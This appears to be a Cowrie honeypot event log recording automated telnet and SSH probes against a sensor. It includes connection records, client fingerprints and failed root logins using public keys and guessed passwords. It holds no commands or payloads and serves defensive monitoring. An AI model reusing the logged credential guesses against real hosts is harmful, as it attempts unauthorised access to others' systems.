{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46796,"dst_ip":"159.203.135.109","dst_port":23,"session":"98bfbf053974","protocol":"telnet","message":"New connection: 107.6.151.170:46796 (159.203.135.109:23) [session: 98bfbf053974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:31.627838Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":34470,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5c411afc2d0","protocol":"telnet","message":"New connection: 166.62.124.255:34470 (159.203.135.109:23) [session: d5c411afc2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:31.737737Z"}
{"eventid":"cowrie.session.closed","duration":49.44392681121826,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:36.920523Z","src_ip":"128.199.8.54","session":"7b7d0371cd1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.76519846916199,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:46.621512Z","src_ip":"128.199.8.54","session":"4add2cc80ed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.89.249.3","src_port":56714,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d4e7d367131","protocol":"ssh","message":"New connection: 185.89.249.3:56714 (10.17.0.5:22) [session: 4d4e7d367131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.050578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.054873Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.147043Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.82832932472229,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.331806Z","src_ip":"128.199.8.54","session":"c0840f3d8ef7","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:34:fb:05:db:05:b2:1a:d2:1b:73:11:68:af:ac:b4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBALu/WKKHy5xW809Xy85jVTj6KHOwzU3oIUQ1V98XcZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c5:34:fb:05:db:05:b2:1a:d2:1b:73:11:68:af:ac:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.581205Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:34:fb:05:db:05:b2:1a:d2:1b:73:11:68:af:ac:b4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBALu/WKKHy5xW809Xy85jVTj6KHOwzU3oIUQ1V98XcZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.584661Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:42:bc:c3:cc:cd:db:cb:f0:cf:7b:3f:8d:04:bc:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9NcNwMOiZyTdXwaGnnf6W5Z0WFWiMJsUn0+3+JCX4sJ83wqjdHsGBNi9wi8WnYS7rKhipIkIP0Rm2Qlp4oRL24yjHXbyGzVIn/j6PdXT0PvGqt8KWHHER6mhM7AgMGIQV/OQ3TLy7QuDksEE42Nkm0C8cx1AmQ4NSftlUfA5A3nQVyjwjfmykQpwD27dtlBxSm6vjnYvTy3Bji9qp410dBhNE3ZaElC2tX1a1JhvDuobGvC2u5AAv5BwN8D8WwzajUnYrz4g/mivfa/jS8yNsycIksNFZRZkAJcmzQTownbvQggrg49IxxgnYZVupFSP88ZIjVPLweVAbq6Ifpp/7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:42:bc:c3:cc:cd:db:cb:f0:cf:7b:3f:8d:04:bc:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.676512Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:42:bc:c3:cc:cd:db:cb:f0:cf:7b:3f:8d:04:bc:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9NcNwMOiZyTdXwaGnnf6W5Z0WFWiMJsUn0+3+JCX4sJ83wqjdHsGBNi9wi8WnYS7rKhipIkIP0Rm2Qlp4oRL24yjHXbyGzVIn/j6PdXT0PvGqt8KWHHER6mhM7AgMGIQV/OQ3TLy7QuDksEE42Nkm0C8cx1AmQ4NSftlUfA5A3nQVyjwjfmykQpwD27dtlBxSm6vjnYvTy3Bji9qp410dBhNE3ZaElC2tX1a1JhvDuobGvC2u5AAv5BwN8D8WwzajUnYrz4g/mivfa/jS8yNsycIksNFZRZkAJcmzQTownbvQggrg49IxxgnYZVupFSP88ZIjVPLweVAbq6Ifpp/7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.681211Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:d1:d7:75:0a:86:f2:d4:c3:70:54:e1:0b:21:0e:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7gzgtQ0oNiIDoJKCbZ0nPrD5S/e3huyP0hf8IUdFd6+lFTrvv4knKHJOibq0wfC4Ax5Ixu8J30KsOzRRTJyi44as8mK5CzPKMEtXah20lLnM7MIDZMwYBj1pf31E8tmlKHlsOIxy1cw76Zye8SC6J7SvuGvMyrGBOhnRONAEooYaX3Zs8VklIMNSSeJs3jLb06sgyNbymN1teyUbWXnKNxzTqBXxTq6iqgsh4ejJNVCIvZ5ukCz4Un6SWqojQfy77CvPCkyToh9TK5I3X60FqYb+UiIlRMOFRqR5H48NZs8APyHWOn1I07H0Pe0EHe51yQ42wfSDgxAlVH5kJeL/D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:d1:d7:75:0a:86:f2:d4:c3:70:54:e1:0b:21:0e:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.772803Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:d1:d7:75:0a:86:f2:d4:c3:70:54:e1:0b:21:0e:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7gzgtQ0oNiIDoJKCbZ0nPrD5S/e3huyP0hf8IUdFd6+lFTrvv4knKHJOibq0wfC4Ax5Ixu8J30KsOzRRTJyi44as8mK5CzPKMEtXah20lLnM7MIDZMwYBj1pf31E8tmlKHlsOIxy1cw76Zye8SC6J7SvuGvMyrGBOhnRONAEooYaX3Zs8VklIMNSSeJs3jLb06sgyNbymN1teyUbWXnKNxzTqBXxTq6iqgsh4ejJNVCIvZ5ukCz4Un6SWqojQfy77CvPCkyToh9TK5I3X60FqYb+UiIlRMOFRqR5H48NZs8APyHWOn1I07H0Pe0EHe51yQ42wfSDgxAlVH5kJeL/D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.776376Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:fb:16:71:5d:b3:22:27:89:59:1d:d6:9b:96:5b:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoLSqN2J8hbEw5XTuYHOzXXXJEOE5R65nfbYr+8IMNCgXfUOFaIa0xU71QSg+1f5ZqWpyZB4dmWp8ReMqiR+Csuil+arcMZrkXYSv4xae62xrQRc6Z0t/rXvrgjjhAs57HXuMT2/xuWTMFilbASRVK/eerm4nX/ghMEtOsrpdu0KHbx8PoSGGa4Xhtu39Cyeh0J2Q8FF1klef9ue8uLrGgndqXXtxCuC9Of+UUYt5+AelIenVtelrrNYxVWedDvvS7cGrMdT+M4tRiJNHqkXY/y+pVMfW3NQ8/+ByffhLzZHQA/t+PIsXVGTTOExOD+ODBiMa6bmPTGavSYTdazWSB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:fb:16:71:5d:b3:22:27:89:59:1d:d6:9b:96:5b:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.868284Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:fb:16:71:5d:b3:22:27:89:59:1d:d6:9b:96:5b:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoLSqN2J8hbEw5XTuYHOzXXXJEOE5R65nfbYr+8IMNCgXfUOFaIa0xU71QSg+1f5ZqWpyZB4dmWp8ReMqiR+Csuil+arcMZrkXYSv4xae62xrQRc6Z0t/rXvrgjjhAs57HXuMT2/xuWTMFilbASRVK/eerm4nX/ghMEtOsrpdu0KHbx8PoSGGa4Xhtu39Cyeh0J2Q8FF1klef9ue8uLrGgndqXXtxCuC9Of+UUYt5+AelIenVtelrrNYxVWedDvvS7cGrMdT+M4tRiJNHqkXY/y+pVMfW3NQ8/+ByffhLzZHQA/t+PIsXVGTTOExOD+ODBiMa6bmPTGavSYTdazWSB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.872485Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:6d:40:42:02:1a:17:c3:db:0d:1d:74:e0:fb:b1:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFBrjhQyrTR7f3SQw5hOLs3/W+6Vv63GkYSs7koFp1ZWYQVB7vVbT3t9E/CqRqjfKgTgVPcNeO9UmZQGfAOf+nM/j3ggIZ5l9qXOIp6DrDZh8sTTNCCZLrqND9G/04nHWKelZNMhP4nOUsmcKADFkwjhDJkFTUGaHvPcDQ8RFouyw6d60a1AJG7r1Pom6ABc1ZBCeXbGf+ZgiNhl63uStt9UeBOr7l8aILHuQkEqAJ4tQ7zJOT8+KPucHVRRQN0veDaKFSuV6WFDThibFk9wVe0TR320Nd4VSeOPSUGiseZoUQye3pcjA0LLiKvhLU1QBfa+KSn84/8ilJZ51K6a4/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:6d:40:42:02:1a:17:c3:db:0d:1d:74:e0:fb:b1:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.966525Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:6d:40:42:02:1a:17:c3:db:0d:1d:74:e0:fb:b1:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFBrjhQyrTR7f3SQw5hOLs3/W+6Vv63GkYSs7koFp1ZWYQVB7vVbT3t9E/CqRqjfKgTgVPcNeO9UmZQGfAOf+nM/j3ggIZ5l9qXOIp6DrDZh8sTTNCCZLrqND9G/04nHWKelZNMhP4nOUsmcKADFkwjhDJkFTUGaHvPcDQ8RFouyw6d60a1AJG7r1Pom6ABc1ZBCeXbGf+ZgiNhl63uStt9UeBOr7l8aILHuQkEqAJ4tQ7zJOT8+KPucHVRRQN0veDaKFSuV6WFDThibFk9wVe0TR320Nd4VSeOPSUGiseZoUQye3pcjA0LLiKvhLU1QBfa+KSn84/8ilJZ51K6a4/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:47.971064Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:48.063521Z","src_ip":"185.89.249.3","session":"4d4e7d367131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44324,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c61a748e1ad","protocol":"telnet","message":"New connection: 128.199.8.54:44324 (159.203.135.109:23) [session: 8c61a748e1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:01:48.716532Z"}
{"eventid":"cowrie.session.closed","duration":30.916797876358032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:02:02.544516Z","src_ip":"107.6.151.170","session":"98bfbf053974","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74793791770935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:02:03.485576Z","src_ip":"166.62.124.255","session":"d5c411afc2d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":60906,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f9b74be08b0","protocol":"telnet","message":"New connection: 107.6.151.170:60906 (159.203.135.109:23) [session: 3f9b74be08b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:02:32.210863Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34596,"dst_ip":"159.203.135.109","dst_port":23,"session":"04b5aec56a1a","protocol":"telnet","message":"New connection: 107.6.151.170:34596 (159.203.135.109:23) [session: 04b5aec56a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:02:32.222172Z"}
{"eventid":"cowrie.session.closed","duration":52.67957663536072,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:02:41.395992Z","src_ip":"128.199.8.54","session":"8c61a748e1ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18553161621094,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:04.396331Z","src_ip":"107.6.151.170","session":"3f9b74be08b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.54094195365906,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:05.763031Z","src_ip":"107.6.151.170","session":"04b5aec56a1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":56136,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c4583f151df","protocol":"ssh","message":"New connection: 147.45.199.80:56136 (159.203.135.109:22) [session: 3c4583f151df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:25.247516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:25.251542Z","src_ip":"147.45.199.80","session":"3c4583f151df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:25.346150Z","src_ip":"147.45.199.80","session":"3c4583f151df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120580","message":"login attempt [root/120580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:25.631920Z","src_ip":"147.45.199.80","session":"3c4583f151df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:26.728994Z","src_ip":"147.45.199.80","session":"3c4583f151df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":60704,"dst_ip":"10.17.0.5","dst_port":22,"session":"cab4b8f27100","protocol":"ssh","message":"New connection: 103.77.242.62:60704 (10.17.0.5:22) [session: cab4b8f27100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:47.253603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:47.258047Z","src_ip":"103.77.242.62","session":"cab4b8f27100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:47.499759Z","src_ip":"103.77.242.62","session":"cab4b8f27100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200784","message":"login attempt [root/200784] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:48.226550Z","src_ip":"103.77.242.62","session":"cab4b8f27100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:49.470245Z","src_ip":"103.77.242.62","session":"cab4b8f27100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":36520,"dst_ip":"10.17.0.5","dst_port":22,"session":"a20fb97a9fb3","protocol":"ssh","message":"New connection: 89.223.69.22:36520 (10.17.0.5:22) [session: a20fb97a9fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:03:56.584326Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":52566,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2281c479cc0","protocol":"ssh","message":"New connection: 103.15.222.183:52566 (159.203.135.109:22) [session: a2281c479cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:15.506922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:15.509973Z","src_ip":"103.15.222.183","session":"a2281c479cc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:04:15.765963Z","src_ip":"103.15.222.183","session":"a2281c479cc0","protocol":"ssh"}
